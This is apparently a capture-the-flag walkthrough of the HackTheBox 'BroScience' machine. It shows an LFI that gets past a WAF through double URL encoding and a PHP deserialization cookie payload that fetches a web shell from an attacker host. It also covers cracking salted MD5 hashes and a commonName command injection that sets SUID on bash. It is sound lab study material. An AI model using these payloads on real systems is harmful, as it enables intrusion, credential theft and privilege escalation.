Scannings
> TARGET=10.129.94.18 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT/emailAddress=administrator@broscience.htb/localityName=Vienna
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT/emailAddress=administrator@broscience.htb/localityName=Vienna
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-14T19:48:36
| Not valid after: 2023-07-14T19:48:36
| MD5: 5328ddd62f3429d11d26ae8a68d86e0c
| SHA-1: 20568d0d9e4109cde5a22021fe3f349c40d8d75b
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
|_ http/1.1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_ssl-date: TLS randomness does not represent time
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Domain:
broscience.htb
- Directory search (scanning http doesn’t give any response, use https)
> dirsearch -u https://broscience.htb
[03:20:21] 301 - 319B - /images -> https://broscience.htb/images/
[03:20:21] 200 - 2KB - /images/
[03:20:22] 200 - 2KB - /includes/
[03:20:22] 301 - 321B - /includes -> https://broscience.htb/includes/
[03:20:22] 200 - 9KB - /index.php
[03:20:22] 200 - 9KB - /index.php/login/
[03:20:24] 301 - 323B - /javascript -> https://broscience.htb/javascript/
[03:20:29] 200 - 2KB - /login.php
[03:20:30] 302 - 0B - /logout.php -> /index.php
[03:20:33] 200 - 676B - /manual/index.html
[03:20:33] 301 - 319B - /manual -> https://broscience.htb/manual/
[03:20:51] 200 - 2KB - /register.php
[03:20:56] 403 - 280B - /server-status/
[03:20:56] 403 - 280B - /server-status
[03:21:03] 301 - 319B - /styles -> https://broscience.htb/styles/
[03:21:12] 200 - 1KB - /user.php
> dirsearch -u https://broscience.htb/includes/ -e php -f -x 403
[03:33:09] 200 - 369B - /includes/header.php
[03:33:13] 200 - 39B - /includes/img.php
[03:34:25] 200 - 0B - /includes/utils.php
- Subdomain enum, nothing useful
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://broscience.htb/" -H "Host: FUZZ.broscience.htb" --hl 146
000002182: 200 22 L 125 W 2193 Ch "resource"
000002184: 200 22 L 125 W 2191 Ch "test01"
Web Enum
- Browsing to
/includes/img.php
gives an error, it requires a path
parameter
> curl -k https://broscience.htb/includes/img.php
<b>Error:</b> Missing 'path' parameter.
- This looks promising for LFI, however, there seems to be a WAF
> curl -k https://broscience.htb/includes/img.php?path=../../../../etc/passwd
<b>Error:</b> Attack detected.
- To bypass the WAF, use double url encoding, sometimes certain keywords are also filterd, so it’s better to encode all characters including alphanumeric characters.
> curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../../../../etc/passwd))
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
- DB credential can be found
> curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../includes/db_connect.php))
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "R***************7";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
- Sending activation code is a missing feature
> curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../register.php))
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
- Learn how the activation code is generated
> curl -k https://broscience.htb/includes/img.php?path=$(urlencode $(urlencode ../includes/utils.php))
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
User activation: timing attack
- From reading the
generate_activation_code
, there is a chance for timing attack because the unix timestamp of the server is used as the seed for generating the activation code. We can write a php code to generate a range (-500 to +500 around the received server time of account creation) of activation codes then bruteforce it to activate the newly created account. - Intercept the account register request in burpsuite and create a new account. Record the response time from the server. In the example here, the server response time is
Sun, 08 Jan 2023 09:17:21 GMT
HTTP/1.1 200 OK
Date: Sun, 08 Jan 2023 09:17:21 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2433
Connection: close
Content-Type: text/html; charset=UTF-8
- Create a php script and generate a range of activation codes
<?php
function generate_activation_code($time) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($time);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// find this from the above server response time
$ref_time = date("U",strtotime('Sun, 08 Jan 2023 09:17:21 GMT'));
for ($t = $ref_time - 500; $t <= $ref_time + 500; $t++)
echo generate_activation_code($t)."\n";
?>
- Run the script and use
wfuzz
to find the correct activation code
> php activate.php > codes.txt
> wfuzz -c -z file,codes.txt --hh 1256 https://broscience.htb/activate.php?code=FUZZ
000000501: 200 27 L 65 W 1251 Ch "nbzQZMQa4GqWxdLutyjazolBDSGhobg0"
- Now, the newly created account should be activated
- After login, note the cookie
user-prefs
, it’s a base64 encoded php serialized string O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}
. This looks vulnerable to deserialization attacks, also evidented in includes/utils.php
: get_theme
reads the cookie and deserialize it, Avatar
reads a file and save to local. So, we can utilise these to make the target read a shell script from us and then trigger the shell on the target.
# line 63
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
# line 95
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
- To exploit, create a php script to generate a malicious payload for the cookie
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://<attacker-ip>/w.php";
public $imgPath = "./w.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
echo base64_encode(serialize(new AvatarInterface));
?>
- Run the script and paste the value into the cookie
user-prefs
> php shell.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNDoiaHR0cDovLzEwLjEwLjE2LjcwL3cucGhwIjtzOjc6ImltZ1BhdGgiO3M6NzoiLi93LnBocCI7fQ==
- Serve the script with http and refresh the browser. This will make the target load our shell script.
- Then setup a netcat listener and browse to
https://broscience.htb/w.php
to trigger the shell.
User: bill
- We have already obtained the db credentials from before. Login to db and get the user hashes
$ psql -U dbuser -h localhost -W -d broscience
Password:
\dt;
List of relations
Schema | Name | Type | Owner
--------+-----------+-------+----------
public | comments | table | postgres
public | exercises | table | postgres
public | users | table | postgres
(3 rows)
select * from users;
id | username | password | email | activation_code | is_activated | is_admin | date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
(5 rows)
- These hashes are not directly crackable, read
/register.php
and see the following. The passwords are salted
and luckily, we have the salt: NaCl
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
- Format the hashes like below
15657792073e8a843d4f91f********1:NaCl
13edad4932da9dbb57d9cd1********4:NaCl
bd3dad50e2d578ecba87d5f********5:NaCl
a7eed23a7be6fe0d765197b********e:NaCl
5d15340bded5b9395d5d14b********b:NaCl
- Run hashcat to crack the hashes
> hashcat -m 20 hash.txt rockyou.txt
13edad4932da9dbb57d9cd1********4:NaCl:i**************m
5d15340bded5b9395d5d14b********b:NaCl:A*************t
bd3dad50e2d578ecba87d5f********5:NaCl:2****************s
- Login as
bill
via ssh to get the user flag
PE: root
- Upload pspy64 and note there is a process that executes a script at
/opt/renew_cert.sh
as root
timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
- Examine the script at
/opt/renew_cert.sh
. It checks for a certificate and if it’s going to expire in a day, it will renew it. Many of these fields are vulnerable to command injection attack. Yet some of them would have character limit when creating the certificate. Hence the best choice to attack is commonName.
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
- Generate a certificate with a command injection payload
bill@broscience:~$ cd Certs/
bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1
Generating a RSA private key
...................................................++++
....................................................................................................++++
writing new private key to 'broscience.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod +s /usr/bin/bash)
Email Address []:
- Wait a while and prompt to root and get the root flag
bill@broscience:~/Certs$ bash -p
bash-5.1# id
uid=1000(bill) gid=1000(bill) euid=0(root) egid=0(root) groups=0(root),1000(bill)
bash-5.1# cat /root/root.txt